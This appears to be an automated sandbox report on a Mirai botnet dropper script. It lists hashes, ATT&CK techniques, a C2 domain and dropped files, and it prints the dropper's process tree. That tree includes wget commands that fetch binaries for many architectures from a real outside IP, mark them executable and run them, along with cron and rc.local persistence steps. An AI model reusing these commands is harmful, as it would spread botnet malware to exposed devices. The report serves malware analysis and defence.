mirai | 7e7660fa660009fc95dd10651842635bb480f43a50d4c543c9db86c894027a48

Analysis

max time kernel
138s
max time network
140s
platform
debian-9_mips
resource
debian9-mipsbe-20250619-en
resource tags

arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/05/2026, 15:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wawan.sh
Size 2KB
Sample260511-tdtymsht9l
SHA256 7e7660fa660009fc95dd10651842635bb480f43a50d4c543c9db86c894027a48
MD5 d626e72ea627ddfeffe2e62efbc81fc4
SHA1 897b56af1b535d6cb31ab06b2d153b7ad9ea94ac
SHA512 a39a6ec3cf89ef8dc5d73d68e426bed47610ac962dd315c5989caa1c4f739154ecf3f505165227b9a941e0eaadba584f0a68faee0bdbb4a27e03029552f705df
TLSH
T1D3513CD15F2080622F3C48D571FCC351085BDBAE2721296EBC2568393ECF955E3BBAA1
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery execution mirai persistence privilege_escalation upx

Malware Config

Extracted

Family

mirai

terrabot.qzz.io

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
858	chmod
727	chmod
753	chmod
798	chmod
808	chmod
829	chmod
846	chmod
862	chmod
866	chmod
736	chmod
804	chmod
850	chmod
854	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/023782pler.x86	754	wawan.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	023782pler.mips
File opened for modification	/dev/misc/watchdog	023782pler.mips

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/bot	wawan.sh

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	wawan.sh

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	023782pler.mips
File opened for modification	/bin/watchdog	023782pler.mips

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-8.dat	upx

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/status	023782pler.mips
File opened for reading	/proc/2/status	023782pler.mips
File opened for reading	/proc/3/status	023782pler.mips

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
755	wget
799	023782pler.mips

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wget	cp
File opened for modification	/tmp/terrabot.sh	cp
File opened for modification	/tmp/023782pler.x86	wget
File opened for modification	/tmp/023782pler.arm	wget
File opened for modification	/tmp/023782pler.ppc	wget
File opened for modification	/tmp/curl	cp
File opened for modification	/tmp/023782pler.arc	wget
File opened for modification	/tmp/023782pler.i468	wget
File opened for modification	/tmp/023782pler.mips	wget
File opened for modification	/tmp/023782pler.i686	wget
File opened for modification	/tmp/023782pler.x86_64	wget
File opened for modification	/tmp/023782pler.arm5	wget
File opened for modification	/tmp/023782pler.arm6	wget
File opened for modification	/tmp/023782pler.arm7	wget
File opened for modification	/tmp/023782pler.mpsl	wget

/tmp/wawan.sh
/tmp/wawan.sh
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Modifies rc script
PID:714
- /bin/cp
  cp /bin/busybox wget
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/cp
  cp /bin/busybox curl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod +x wget curl
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /bin/chmod
  chmod 644 /etc/cron.d/bot
  2⤵
  PID:729
- /bin/grep
  grep -q /tmp/terrabot.sh /etc/rc.local
  2⤵
  PID:731
- /bin/cp
  cp /bin/busybox /tmp/terrabot.sh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod +x /tmp/terrabot.sh
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /usr/bin/wget
  wget -q -O /tmp/023782pler.x86 http://103.31.39.234/terrabot/023782pler.x86
  2⤵
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod +x /tmp/023782pler.x86
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /usr/bin/wget
  wget -q -O /tmp/023782pler.mips http://103.31.39.234/terrabot/023782pler.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /tmp/023782pler.x86
  /tmp/023782pler.x86 023782pler.x86
  2⤵
  PID:754
- /bin/chmod
  chmod +x /tmp/023782pler.mips
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arc http://103.31.39.234/terrabot/023782pler.arc
  2⤵
  - Writes file to tmp directory
  PID:800
- /tmp/023782pler.mips
  /tmp/023782pler.mips 023782pler.mips
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:799
- /bin/chmod
  chmod +x /tmp/023782pler.arc
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /usr/bin/wget
  wget -q -O /tmp/023782pler.i468 http://103.31.39.234/terrabot/023782pler.i468
  2⤵
  - Writes file to tmp directory
  PID:806
- /tmp/023782pler.arc
  /tmp/023782pler.arc 023782pler.arc
  2⤵
  PID:805
- /bin/sh
  /bin/sh /tmp/023782pler.arc 023782pler.arc
  2⤵
  PID:805
- /bin/chmod
  chmod +x /tmp/023782pler.i468
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /usr/bin/wget
  wget -q -O /tmp/023782pler.i686 http://103.31.39.234/terrabot/023782pler.i686
  2⤵
  - Writes file to tmp directory
  PID:810
- /tmp/023782pler.i468
  /tmp/023782pler.i468 023782pler.i468
  2⤵
  PID:809
- /bin/sh
  /bin/sh /tmp/023782pler.i468 023782pler.i468
  2⤵
  PID:809
- /bin/chmod
  chmod +x /tmp/023782pler.i686
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /usr/bin/wget
  wget -q -O /tmp/023782pler.x86_64 http://103.31.39.234/terrabot/023782pler.x86_64
  2⤵
  - Writes file to tmp directory
  PID:831
- /tmp/023782pler.i686
  /tmp/023782pler.i686 023782pler.i686
  2⤵
  PID:830
- /bin/chmod
  chmod +x /tmp/023782pler.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /usr/bin/wget
  wget -q -O /tmp/023782pler.mpsl http://103.31.39.234/terrabot/023782pler.mpsl
  2⤵
  - Writes file to tmp directory
  PID:848
- /tmp/023782pler.x86_64
  /tmp/023782pler.x86_64 023782pler.x86_64
  2⤵
  PID:847
- /bin/chmod
  chmod +x /tmp/023782pler.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm http://103.31.39.234/terrabot/023782pler.arm
  2⤵
  - Writes file to tmp directory
  PID:852
- /tmp/023782pler.mpsl
  /tmp/023782pler.mpsl 023782pler.mpsl
  2⤵
  PID:851
- /bin/chmod
  chmod +x /tmp/023782pler.arm
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm5 http://103.31.39.234/terrabot/023782pler.arm5
  2⤵
  - Writes file to tmp directory
  PID:856
- /tmp/023782pler.arm
  /tmp/023782pler.arm 023782pler.arm
  2⤵
  PID:855
- /bin/chmod
  chmod +x /tmp/023782pler.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm6 http://103.31.39.234/terrabot/023782pler.arm6
  2⤵
  - Writes file to tmp directory
  PID:860
- /tmp/023782pler.arm5
  /tmp/023782pler.arm5 023782pler.arm5
  2⤵
  PID:859
- /bin/chmod
  chmod +x /tmp/023782pler.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm7 http://103.31.39.234/terrabot/023782pler.arm7
  2⤵
  - Writes file to tmp directory
  PID:864
- /tmp/023782pler.arm6
  /tmp/023782pler.arm6 023782pler.arm6
  2⤵
  PID:863
- /bin/chmod
  chmod +x /tmp/023782pler.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /usr/bin/wget
  wget -q -O /tmp/023782pler.ppc http://103.31.39.234/terrabot/023782pler.ppc
  2⤵
  - Writes file to tmp directory
  PID:868
- /tmp/023782pler.arm7
  /tmp/023782pler.arm7 023782pler.arm7
  2⤵
  PID:867

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /etc/cron.d/bot
Size 30B
SHA256 0dc992c9d868863d561b6f6196f33e8045a9fa4966d5760ed2f6187e484044a2
MD5 340ab39a8e764c71568987c0dcda291c
SHA1 2309250d0e95cc15c9a8a3ae741cd2dbdd5b3a8c
SHA512 95d32d56266cae3c0e0249d900515c650bbed756e056ea03ba22ea8ffb779c5bd532a5d4616b3155ec4f25300c2417361bfef53f5fbb3a762cab3036ee254082
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 17B
SHA256 a0709af7d04b454f7596410300af0031f51e721d93060a92d43272a150038059
MD5 7e8f5becca6ace1e89ba68e60cdfbc7c
SHA1 d891566fe04f4738a62ba18bfe007ceaf38f44f7
SHA512 0b13f0197dc28c13638bb7c0ed876b8fd9ac2623d00197d10b47a9f7f1fe5cc2cee1efe6a4ac813463057375882cc151cd4a499c3ef8255db72ac69bc6ed788d
MD5 SHA1 SHA512

Submit Download

023782pler.x86

Path /tmp/023782pler.x86
Size 39KB
SHA256 7a866c4e71afd71f03c2b33e527248b651c1a75717fd0a75ab1641a4c5f14f75
MD5 91214d62b241d629fa7f16e70f0672c9
SHA1 42058dc70c93e6337db9af4f3de8be6ffa7db459
SHA512 4398525b2d7c2632b568fdf201c84a5d13d3cbe7b56ffc52a8fe0144812da67734f125801ecd0dac7b56e6e66df6a3740c82aaa5dccc9c084f280d5b8c654afc
SSDEEP 768:0F1DbfTrL3QX9bKWjN+qGTnedgI7WzzZag789GGh/YFMtLynA1nbcuyD7UHQRjy:07/fToNbKWjwq6+gxzN7DDMt+nenouy8
TLSH
T17903E15061FE4BE2D65B40F674BE244E3750D70DAE248CB3BC84F9B25ACAF4C664A097
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 857KB
SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
MD5 a39fe8036e559ce804e26518061e59ff
SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
TLSH
T12F154B5337218F1CF361D17004B3CE666AB652922BF68689927CF5203B90F6D641FFA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads